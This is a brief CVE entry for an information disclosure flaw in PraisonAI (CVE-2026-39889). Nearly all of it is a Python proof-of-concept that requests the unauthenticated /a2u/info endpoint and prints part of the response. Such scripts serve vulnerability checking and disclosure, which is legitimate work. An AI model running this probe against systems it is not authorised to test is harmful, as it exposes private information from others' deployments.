CVE-2026-39889 PraisonAI信息泄露漏洞

import requests def check_poc(target_base_url): """ PoC for CVE-2026-39889 Checks if /a2u/info is accessible without authentication. """ target_endpoint = f"{target_base_url.rstrip('/')}/a2u/info" try: response = requests.get(target_endpoint, timeout=5) if response.status_code == 200: print(f"[+] Vulnerability Confirmed at {target_endpoint}") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Received status code: {response.status_code}") return False except Exception as e: print(f"[-] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with actual target URL check_poc("http://127.0.0.1:8000")